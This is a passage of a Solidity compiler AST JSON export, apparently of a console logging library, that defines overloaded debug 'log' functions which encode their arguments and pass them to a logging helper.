pure"}},"id":27994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37360:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27995,"nodeType":"ExpressionStatement","src":"37360:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37266:3:15","parameters":{"id":27983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27976,"mutability":"mutable","name":"p0","nameLocation":"37284:2:15","nodeType":"VariableDeclaration","scope":27997,"src":"37270:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27975,"name":"string","nodeType":"ElementaryTypeName","src":"37270:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27978,"mutability":"mutable","name":"p1","nameLocation":"37302:2:15","nodeType":"VariableDeclaration","scope":27997,"src":"37288:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27977,"name":"string","nodeType":"ElementaryTypeName","src":"37288:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27980,"mutability":"mutable","name":"p2","nameLocation":"37320:2:15","nodeType":"VariableDeclaration","scope":27997,"src":"37306:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27979,"name":"string","nodeType":"ElementaryTypeName","src":"37306:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27982,"mutability":"mutable","name":"p3","nameLocation":"37332:2:15","nodeType":"VariableDeclaration","scope":27997,"src":"37324:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27981,"name":"address","nodeType":"ElementaryTypeName","src":"37324:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"37269:66:15"},"returnParameters":{"id":27984,"nodeType":"ParameterList","parameters":[],"src":"37350:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28020,"nodeType":"FunctionDefinition","src":"37466:192:15","nodes":[],"body":{"id":28019,"nodeType":"Block","src":"37550:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c75696e7432353629","id":28011,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37600:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d6aefad2ecee6d91421acc41f939bded56985ac5c9cf6e49011ee16b1bb31729","typeString":"literal_string \"log(string,string,bool,uint256)\""},"value":"log(string,string,bool,uint256)"},{"id":28012,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27999,"src":"37635:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28013,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28001,"src":"37639:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28014,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28003,"src":"37643:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28015,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28005,"src":"37647:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d6aefad2ecee6d91421acc41f939bded56985ac5c9cf6e49011ee16b1bb31729","typeString":"literal_string \"log(string,string,bool,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28009,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37576:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28010,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37580:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37576:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37576:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28008,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"37560:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37560:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28018,"nodeType":"ExpressionStatement","src":"37560:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37475:3:15","parameters":{"id":28006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27999,"mutability":"mutable","name":"p0","nameLocation":"37493:2:15","nodeType":"VariableDeclaration","scope":28020,"src":"37479:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27998,"name":"string","nodeType":"ElementaryTypeName","src":"37479:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28001,"mutability":"mutable","name":"p1","nameLocation":"37511:2:15","nodeType":"VariableDeclaration","scope":28020,"src":"37497:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28000,"name":"string","nodeType":"ElementaryTypeName","src":"37497:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28003,"mutability":"mutable","name":"p2","nameLocation":"37520:2:15","nodeType":"VariableDeclaration","scope":28020,"src":"37515:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28002,"name":"bool","nodeType":"ElementaryTypeName","src":"37515:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28005,"mutability":"mutable","name":"p3","nameLocation":"37532:2:15","nodeType":"VariableDeclaration","scope":28020,"src":"37524:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28004,"name":"uint256","nodeType":"ElementaryTypeName","src":"37524:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"37478:57:15"},"returnParameters":{"id":28007,"nodeType":"ParameterList","parameters":[],"src":"37550:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28043,"nodeType":"FunctionDefinition","src":"37664:197:15","nodes":[],"body":{"id":28042,"nodeType":"Block","src":"37754:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c737472696e6729","id":28034,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37804:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e84b0ea51a130c3c7e1443097f28cb5c541ea8487836ae7cb1ca9c6e683699b","typeString":"literal_string \"log(string,string,bool,string)\""},"value":"log(string,string,bool,string)"},{"id":28035,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28022,"src":"37838:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28036,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28024,"src":"37842:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28037,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28026,"src":"37846:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28038,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28028,"src":"37850:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5e84b0ea51a130c3c7e1443097f28cb5c541ea8487836ae7cb1ca9c6e683699b","typeString":"literal_string \"log(string,string,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28032,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37780:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28033,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37784:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37780:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28039,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37780:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28031,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"37764:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37764:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28041,"nodeType":"ExpressionStatement","src":"37764:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37673:3:15","parameters":{"id":28029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28022,"mutability":"mutable","name":"p0","nameLocation":"37691:2:15","nodeType":"VariableDeclaration","scope":28043,"src":"37677:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28021,"name":"string","nodeType":"ElementaryTypeName","src":"37677:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28024,"mutability":"mutable","name":"p1","nameLocation":"37709:2:15","nodeType":"VariableDeclaration","scope":28043,"src":"37695:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28023,"name":"string","nodeType":"ElementaryTypeName","src":"37695:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28026,"mutability":"mutable","name":"p2","nameLocation":"37718:2:15","nodeType":"VariableDeclaration","scope":28043,"src":"37713:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28025,"name":"bool","nodeType":"ElementaryTypeName","src":"37713:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28028,"mutability":"mutable","name":"p3","nameLocation":"37736:2:15","nodeType":"VariableDeclaration","scope":28043,"src":"37722:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28027,"name":"string","nodeType":"ElementaryTypeName","src":"37722:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37676:63:15"},"returnParameters":{"id":28030,"nodeType":"ParameterList","parameters":[],"src":"37754:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28066,"nodeType":"FunctionDefinition","src":"37867:186:15","nodes":[],"body":{"id":28065,"nodeType":"Block","src":"37948:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c626f6f6c29","id":28057,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37998:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_40785869c0ea63ca2ccbcf7415552989c2f1ce04f151eb3b2bd695c64d21af10","typeString":"literal_string \"log(string,string,bool,bool)\""},"value":"log(string,string,bool,bool)"},{"id":28058,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28045,"src":"38030:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28059,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28047,"src":"38034:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28060,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28049,"src":"38038:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28061,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28051,"src":"38042:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_40785869c0ea63ca2ccbcf7415552989c2f1ce04f151eb3b2bd695c64d21af10","typeString":"literal_string \"log(string,string,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28055,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37974:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28056,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37978:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37974:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28062,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37974:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28054,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"37958:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37958:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28064,"nodeType":"ExpressionStatement","src":"37958:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37876:3:15","parameters":{"id":28052,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28045,"mutability":"mutable","name":"p0","nameLocation":"37894:2:15","nodeType":"VariableDeclaration","scope":28066,"src":"37880:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28044,"name":"string","nodeType":"ElementaryTypeName","src":"37880:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28047,"mutability":"mutable","name":"p1","nameLocation":"37912:2:15","nodeType":"VariableDeclaration","scope":28066,"src":"37898:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28046,"name":"string","nodeType":"ElementaryTypeName","src":"37898:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28049,"mutability":"mutable","name":"p2","nameLocation":"37921:2:15","nodeType":"VariableDeclaration","scope":28066,"src":"37916:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28048,"name":"bool","nodeType":"ElementaryTypeName","src":"37916:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28051,"mutability":"mutable","name":"p3","nameLocation":"37930:2:15","nodeType":"VariableDeclaration","scope":28066,"src":"37925:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28050,"name":"bool","nodeType":"ElementaryTypeName","src":"37925:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"37879:54:15"},"returnParameters":{"id":28053,"nodeType":"ParameterList","parameters":[],"src":"37948:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28089,"nodeType":"FunctionDefinition","src":"38059:192:15","nodes":[],"body":{"id":28088,"nodeType":"Block","src":"38143:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c2c6164647265737329","id":28080,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38193:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c371c7db0a4b104babdbdf00d079eb75cb5aa1d401c4fb726c8e5559029df84d","typeString":"literal_string \"log(string,string,bool,address)\""},"value":"log(string,string,bool,address)"},{"id":28081,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28068,"src":"38228:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28082,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28070,"src":"38232:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28083,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28072,"src":"38236:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28084,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28074,"src":"38240:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c371c7db0a4b104babdbdf00d079eb75cb5aa1d401c4fb726c8e5559029df84d","typeString":"literal_string \"log(string,string,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28078,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38169:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28079,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38173:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38169:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38169:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28077,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"38153:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38153:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28087,"nodeType":"ExpressionStatement","src":"38153:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38068:3:15","parameters":{"id":28075,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28068,"mutability":"mutable","name":"p0","nameLocation":"38086:2:15","nodeType":"VariableDeclaration","scope":28089,"src":"38072:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28067,"name":"string","nodeType":"ElementaryTypeName","src":"38072:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28070,"mutability":"mutable","name":"p1","nameLocation":"38104:2:15","nodeType":"VariableDeclaration","scope":28089,"src":"38090:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28069,"name":"string","nodeType":"ElementaryTypeName","src":"38090:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28072,"mutability":"mutable","name":"p2","nameLocation":"38113:2:15","nodeType":"VariableDeclaration","scope":28089,"src":"38108:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28071,"name":"bool","nodeType":"ElementaryTypeName","src":"38108:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28074,"mutability":"mutable","name":"p3","nameLocation":"38125:2:15","nodeType":"VariableDeclaration","scope":28089,"src":"38117:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28073,"name":"address","nodeType":"ElementaryTypeName","src":"38117:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"38071:57:15"},"returnParameters":{"id":28076,"nodeType":"ParameterList","parameters":[],"src":"38143:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28112,"nodeType":"FunctionDefinition","src":"38257:198:15","nodes":[],"body":{"id":28111,"nodeType":"Block","src":"38344:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c75696e7432353629","id":28103,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38394:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7cc3c607046f21bb2d1cc4864448de2e6c44029beb9bfc36cf6ca90777ae5a00","typeString":"literal_string \"log(string,string,address,uint256)\""},"value":"log(string,string,address,uint256)"},{"id":28104,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28091,"src":"38432:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28105,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28093,"src":"38436:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28106,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28095,"src":"38440:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28107,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28097,"src":"38444:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7cc3c607046f21bb2d1cc4864448de2e6c44029beb9bfc36cf6ca90777ae5a00","typeString":"literal_string \"log(string,string,address,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28101,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38370:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28102,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38374:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38370:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28108,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38370:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28100,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"38354:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38354:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28110,"nodeType":"ExpressionStatement","src":"38354:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38266:3:15","parameters":{"id":28098,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28091,"mutability":"mutable","name":"p0","nameLocation":"38284:2:15","nodeType":"VariableDeclaration","scope":28112,"src":"38270:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28090,"name":"string","nodeType":"ElementaryTypeName","src":"38270:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28093,"mutability":"mutable","name":"p1","nameLocation":"38302:2:15","nodeType":"VariableDeclaration","scope":28112,"src":"38288:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28092,"name":"string","nodeType":"ElementaryTypeName","src":"38288:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28095,"mutability":"mutable","name":"p2","nameLocation":"38314:2:15","nodeType":"VariableDeclaration","scope":28112,"src":"38306:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28094,"name":"address","nodeType":"ElementaryTypeName","src":"38306:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28097,"mutability":"mutable","name":"p3","nameLocation":"38326:2:15","nodeType":"VariableDeclaration","scope":28112,"src":"38318:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28096,"name":"uint256","nodeType":"ElementaryTypeName","src":"38318:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38269:60:15"},"returnParameters":{"id":28099,"n